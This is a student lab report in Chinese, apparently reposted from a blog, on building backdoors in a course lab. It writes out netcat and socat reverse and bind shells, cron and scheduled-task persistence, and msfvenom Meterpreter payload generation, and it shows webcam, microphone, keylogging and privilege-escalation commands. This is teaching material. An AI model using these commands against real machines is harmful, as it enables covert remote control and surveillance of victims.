标签:chmod 重叠 init 没有 ref 提权 转发 感受 started
一、实验内容说明及基础问题回答
二、工具准备
三、实验过程
四、问题与思考
1、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
(5)后门概念
后门就是不经过正常认证流程而访问系统的通道。
**哪里有后门呢?
下面是近些年的一些例子:
一个相对狭义一点的后门的概念:
- 特指潜伏于操作系统中专门做后门的一个程序
- “坏人”可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
(6)常用后门工具
netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
1.Windows 打开监听
ipconfig
命令查看本机IP为192.168.157.1
:windows + R
组合键打开cmd.exe,输入ncat.exe -l -p 5236
命令:
2.Linux反弹连接Win,输入命令nc 192.168.157.1 5236 -e /bin/sh
:
3.Windows下获得一个linux shell,可运行任何指令,如ls:
1.用ifconfig
命令查看本机IP为192.168.157.132
:
2.Linux运行监听指令,输入命令nc -l -p 5236
3.Windows反弹连接Linux,在ncat目录下输入命令ncat.exe -e cmd.exe 192.168.157.132 5236
:
4.Linux下看到Windows的命令提示
5.可以尽情地查看并操作Windows上的文件了哈哈哈!
用nc命令传输文件的格式如下:
目的主机监听:
nc -l 监听端口 > 要接收的文件名
源主机发起请求:
nc 目的主机ip 目的端口
英文描述如下:
Start by using nc to listen on a specific port, with output captured into a file:
$ nc -l 1234 > filename.out
Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:
$ nc host.example.com 1234 < filename.in
After the file has been transferred, the connection will close automatically.
Windows监听5236
端口
Kali下连接到Windows的5236
端口
建立连接后传输数据
在Windows下监听5236
端口
在kali中,用crontab -e
编辑一条定时任务,选择编辑器3
在最后一行添加24 * * * * /bin/netcat 192.168.157.1 5236 -e /bin/sh
,意思是在每小时的第24分钟反向连接Windows主机的5236
端口
时间到了22:24时,已经获得kali的shell,可以输入指令
SoCat
Netcat++,超级netcat工具。
不信?自己看README。
windows版见附件。解压即用,不用安装。
任何代理、转发等功能都可以用该工具实现。
用man socat
命令查看socat
的介绍及相关用法:
DESCRIPTION
**Socat** is a command line based utility that establishes two bidirec‐
tional byte streams and transfers data between them. Because the
streams can be constructed from a large set of different types of data
sinks and sources (see address types), and because lots of address
options may be applied to the streams, socat can be used for many dif‐
ferent purposes.
**Filan** is a utility that prints information about its active file
descriptors to stdout. It has been written for debugging **socat**, but
might be useful for other purposes too. Use the -h option to find more
infos.
**Procan** is a utility that prints information about process parameters to
stdout. It has been written to better understand some UNIX process
properties and for debugging **socat**, but might be useful for other pur‐
poses too.
The life cycle of a **socat** instance typically consists of four phases.
In the init phase, the command line options are parsed and logging is
initialized.
During the open phase, **socat** opens the first address and afterwards the
second address. These steps are usually blocking; thus, especially for
complex address types like socks, connection requests or authentication
dialogs must be completed before the next step is started.
In the transfer phase, **socat** watches both streams’ read and write file
descriptors via select() , and, when data is available on one side and
can be written to the other side, socat reads it, performs newline
character conversions if required, and writes the data to the write
file descriptor of the other stream, then continues waiting for more
data in both directions.
When one of the streams effectively reaches EOF, the closing phase
begins. **Socat** transfers the EOF condition to the other stream, i.e.
tries to shutdown only its write stream, giving it a chance to termi‐
nate gracefully. For a defined time socat continues to transfer data in
the other direction, but then closes all remaining channels and termi‐
nates.
在任务计划程序创建任务,填写任务名称(学号)
触发器
选项卡,选择新建
,然后将开始任务设置为工作站锁定时
:点击操作
选项卡,点击新建
,程序或脚本中选择socat.exe
路径,在添加参数一栏中写tcp-listen:5236 exec:cmd.exe,pty,stderr
(作用是把cmd.exe
绑定到端口5236
,同时把cmd.exe
的stderr重定向到stdout上),点击确定
保存设置:
创建完成之后,发现任务已经准备就绪,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行
此时,在Kali环境下输入指令socat - tcp:192.168.157.1:5236
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5236端口,此时可以发现已经成功获得了一个cmd shell
Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
基本功能(基本的连接、执行指令)
,扩展功能(如搜集用户信息、安装服务等功能)
,编码模式
,运行平台
,- 以及
运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.
揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=52 -f exe > 20175236_backdoor.exe
生成后门程序注意此时IP地址为LinuxIP
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
-e 使用的编码器,用于对shellcode变形,为了免杀
-i 编码器的迭代次数。如上即使用该编码器编码5次
-b badchar是payload中需要去除的字符
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
**生成的文件当然需要通过ncat
命令复制到Windows中了(当然十之八九杀毒软件会报警并删除该文件,因为是后门嘛。所以为了验证共功能,可以临时关闭一会杀毒软件。后面我们会讲到免杀,免杀完的后门杀毒软件就不会被发现了)
ncat.exe -lv 5236
>
20175236_backdoor.exe,
进入接受模式Linux中执行nc 192.168.157.1 5236 < 20175236_backdoor.exe,
注意关闭病毒查杀软件
此时IP地址为主机即WindowsIP
传送接收文件成功
msfconsole
指令进入msf控制台
输入use exploit/multi/handler
进入监听模块
输入set payload windows/meterpreter/reverse_tcp
设置payload
依次输入set LHOST 192.168.157.132
和set LPORT 5236
设置IP及端口
注意此时IP地址为LinuxIP,和生成后门程序时指定的IP相同
设置完成,开始监听exploit
运行Windows下的后门程序
kali已经获得Windows主机的连接,并得到远程控制的shell
说明:
192.168.157.132
;5236
;windows/meterpreter/reverse_tcp
。使用record_mic
指令可以截获一段音频
使用webcam_snap
指令可以使用摄像头进行拍照(本人太丑,加了个贴纸就不上镜了)
使用screenshot
指令可以进行截屏(键入指令忘截图,但能看见已生成的截屏文件)
使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
getuid
指令查看当前用户,再使用getsystem
指令进行提权
使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=5236 -x /root/Desktop/20175224/exp2/pwn1 -f elf > 5236pwn
生成以pwn1模板这个elf文件格式的shellcode文件5236pwn
msfconsole
,进入msf命令行在kali中执行pwn2时应先加权限 chmod +x 5236pwn
本次实验我感觉总体难度不大,相比第一次实验对实验环境熟悉了不少,做起来也相对轻松了,就是最近学习任务多且杂搞得有点乱,时间分配不合理导致实验报告质量不高。但总的来说这次实验四个字可以总结:挺好玩的!我感受到建立一个后门连接是如此的简单,功能又如此强大,实验的过程还是蛮有成就感的。当然在CSDN也学到了其他的一些东西,比如Meterpreter的功能远不止我所想的那样单一,在CSDN上参考了别人的博客学习到了meterpreter其他的一些相关知识:
用help
命令查看meterpreter基本功能:
获取Windows命令行界面,以方便执行Windows内置功能指令,exit退出:获取ruby交互界面,exit退出。如果你行,甚至可以用ruby直接编程(PS:我不会,所以就不多说了)
据说可以调用windows任何API。可参考《Metasploit魔鬼训练营》第九章,有一个小例子。
需要学习的东西还有很多,“机要无小事”!通过本次亲手实践更认识到某些系统防范入侵的能力之低这一事实,植入后门如此简单令人震惊,从而间接的提高了自己的安全意识。
2019-2020-2 网络对抗技术 20175236 EXP2 后门原理与实践
标签:chmod 重叠 init 没有 ref 提权 转发 感受 started
原文地址:https://www.cnblogs.com/wff666999/p/12549778.html